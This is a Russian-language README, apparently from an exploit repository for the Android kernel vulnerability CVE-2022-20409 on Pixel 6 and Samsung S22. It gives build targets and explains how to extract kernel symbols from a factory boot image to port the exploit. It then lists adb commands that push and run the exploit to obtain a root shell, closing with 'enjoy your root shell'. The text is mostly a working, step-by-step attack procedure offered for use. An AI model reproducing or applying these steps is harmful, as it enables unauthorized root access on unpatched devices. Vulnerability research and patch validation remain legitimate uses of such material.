
Эксплуатация ядра Android для CVE-2022-20409
Убедитесь, что установлен Android NDK. Для Pixel 6,
make pixel
Для Samsung S22,
make s22
Эксплойт написан для поддержки различных версий ядер. Для переноса эксплойта на другое ядро необходимо извлечь файл символов целевого ядра.
Ядро можно извлечь из заводского образа телефона. Для Pixel загрузите заводской образ здесь.
После загрузки образа извлеките его, чтобы получить файл boot.img. boot.img можно извлечь с помощью tools/unpack_bootimg.py.
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
Вы увидите ядро в out/kernel
Теперь, имея образ ядра, мы можем использовать vmlinux-to-elf для извлечения символов ядра из него.
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
Вы должны убедиться, что Version string, извлечённая в символах, соответствует версии ядра вашего телефона. Версию ядра телефона можно узнать через adb. Например,
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
соответствует
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
Теперь вы можете отправить эксплойт и файл символов на телефон и получить root-доступ с помощью следующих команд.
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
Наслаждайтесь root-оболочкой :)